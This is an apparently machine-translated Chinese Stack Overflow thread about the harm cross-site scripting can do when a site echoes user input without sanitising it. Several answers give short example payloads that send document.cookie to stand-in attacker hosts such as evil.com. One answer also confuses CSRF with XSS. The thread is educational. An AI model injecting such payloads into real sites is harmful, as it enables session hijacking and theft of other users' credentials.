javascript会有什么危害?

时间:2010-12-23 15:32:17

标签: javascript web-applications security

我碰巧阅读了joel的博客here ...

  

例如,如果你有一个网页上写着“你的名字是什么?”,带有一个编辑框,然后提交那个页面就会带你到另一个页面,上面写着你好,埃尔默! (假设用户的名字是埃尔默),那么,这是一个安全漏洞,因为用户可以键入各种奇怪的HTML和JavaScript而不是“Elmer”,他们奇怪的JavaScript可以做很多事情,现在那些麻烦的东西似乎来自你,所以例如他们可以阅读你放在那里的饼干并将它们转发给邪恶博士邪恶的网站。

因为javascript在客户端运行。它只能在客户端访问或执行。

  1. 它可以读取存储在隐藏字段中的信息并进行更改。
  2. 它可以读取,写入或操作cookie ......
  3. 但我觉得,这些信息无论如何都可供他使用。 (如果他足够聪明,可以在文本框中传递javascript。所以我们没有授权他提供新信息或者让他过度访问我们的服务器......

    只是想知道我是否想念一些东西。你能否列出恶意用户可以利用这个安全漏洞做的事情。

    编辑:感谢所有人的启发。正如kizzx2在其中一条评论中所指出的那样......我忽略了这样一个事实:用户A编写的JavaScript可能会在很多情况下在用户B的浏览器中执行,在这种情况下它会成为一个很大的风险。

9 个答案:

答案 0 :(得分:4)

使用javascript注入

Cross Site Scripting是一个非常大的问题

答案 1 :(得分:3)

  

它可以读取,写入或操作cookie

这是关键部分。您可以像这样窃取cookie:只需编写一个读取cookie的脚本,然后使用AJAX将其发送到某个恶意域(使用JSONP来克服跨域问题,我认为您甚至不需要打扰ajax,一个简单的<img src="http://evil.com/?cookieValue=123">就足够了)并给自己发送电子邮件给穷人的身份验证cookie。

答案 2 :(得分:3)

我认为Joel在他的文章中指的是他所描述的场景是一个极易受Script Injection attacks影响的场景,其中两个最着名的是Cross-Site Scripting (XSS)和{{3} }}

由于大多数网站都使用cookie作为其身份验证/会话管理解决方案的一部分,如果恶意用户能够将恶意脚本注入向其他用户提供的页面标记中,则该恶意用户可以执行大量操作损害其他用户,例如窃取cookie,代表他们进行交易,用自己的内容替换所有提供的内容,创建模仿自己的内容并将数据发布到他们自己的网站等等。

答案 3 :(得分:2)

  • 导致您的浏览器使用您的身份验证详细信息向其他服务发送请求,然后将结果发送回攻击者。

  • 显示阴茎的大图,而不是公司徽标。

  • 未经您的同意,将任何个人信息或登录cookie发送到服务器。

答案 4 :(得分:2)

我会在javascript security上查看维基百科的文章。它涵盖了许多漏洞。

答案 5 :(得分:2)

如果您在页面上显示来自用户的数据而未首先清理该数据,那么这是一个巨大的安全漏洞,原因如下:

想象一下,用户输入

而不是“Hello,Elmer!”
<script src="http://a-script-from-another-site.js" type="text/javascript"></script> 

并且您只是在某个页面上显示该信息而不对其进行消毒。该用户现在可以对您的页面执行任何操作,而其他用户无法访问该页面。他们可以阅读其他用户的cookie信息并将其发送到任何他们想要的地方,他们可以更改您的CSS并隐藏页面上的所有内容并显示他们自己的内容,他们可以用他们自己的登录表单替换他们将信息发送到他们希望的任何地方真正的危险是当其他用户在该用户之后访问您的网站时。不,他们无法使用他们无法做到的JavaScript直接向您的服务器执行任何操作,但他们可以做的是访问访问您网站的其他人的信息。

如果您要将该信息保存到数据库并显示该信息,那么访问该网站的所有用户都将获得该内容。如果它只是来自实际上没有保存的表单的内容(提交表单而你从GET或POST请求中获取数据)那么用户可能会恶意地创建一个URL(oursite.com/whatsyourname.php ?username = Elmer,而不是Elmer,你把JavaScript放到你的包含JavaScript的网站上,并诱使另一个用户访问该链接。

有关在数据库中保存信息的示例:假设您在首页上有一个登录表单的论坛,以及帖子及其用户名列表(您没有进行清理)。有人注册时使用的用户名是<script>标记,而不是实际的用户名。现在,他们可以在您的首页上执行JavaScript将完成的任何操作,并且访问您网站的每个用户都将获得一点JavaScript。

答案 6 :(得分:2)

有答案可以解释CSRF和XSS。我是那个说特定引用的段落的人,根本就没有安全威胁。

引用的段落很简单 - 它允许您执行一些JavaScript。祝贺 - 我可以对Firebug做同样的事情,它给了我一个命令行来玩,而不是使用一些网站给我的文本框来伪造它而我必须滥用它。

我真的认为乔尔在写这篇文章时并不是很清醒。这个例子简直就是误导。

编辑更多细节:

我们应该牢记几件事:

  1. 除非执行,否则代码不会造成任何伤害。
  2. JavaScript只能在客户端执行(是的,有服务器端JavaScript,但显然不在此问题/文章的上下文中)
  3. 如果用户编写了一些JavaScript,然后在自己的机器上执行 - 这会带来什么危害?没有,因为他可以随时随地从Firebug执行JavaScript而无需通过文本框。
  4. 当然还有CSRF,其他人已经解释过了。存在威胁的唯一案例是用户A可以编写一些在用户B的机器中执行的代码。

    几乎所有答案都直接回答了“JavaScript可以造成什么危害?”向CSRF方向解释 - 这要求用户A能够编写用户B可以执行的代码。

    所以这是一个更完整,两部分的答案:

    如果我们谈论引用的段落,答案是“没有伤害”

    我并不认为这段经文的含义与上述情景类似,因为它非常明显地谈论一个基本的“Hello,Elmer world”的例子。 从句子中综合诱导隐含意义只会使其更具误导性。

    如果我们谈论“一般来说JavaScript会有什么危害”,答案与基本的XSS / CSRF相关

    Bonus 以下是一些关于如何进行CSRF(用户A编写可以在用户B的机器上执行的JavaScript)的真实场景

    • 网页从GET获取参数。攻击者可以诱使受害者访问http://foo.com/?send_password_to=malicious.attacker.com
    • 网页向其他用户逐字显示一个用户生成的内容。攻击者可以在他的阿凡达网址中添加一些内容:<script>send_your_secret_cookies_to('http://evil.com')</script>(这需要一些调整以获得通过引用等等,但是你明白了)

答案 7 :(得分:2)

不久前在XSS课程中向我展示的小例子......

假设埃尔默是业余黑客。他不是在盒子里写下自己的名字,而是键入:

<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>

现在,如果服务器记录了用户写入的值,并且某些管理员正在登录并查看这些值...... Elmer将获得该管理员的cookie!

答案 8 :(得分:0)

假设用户会阅读您的源代码并进行自己的调整,例如ajax调用将不需要的数据发布到您的服务器。一些开发人员擅长保护直接用户输入,但可能不会小心保护从ajax调用中调用的数据库调用,其中dev认为他可以控制通过调用发送的所有数据。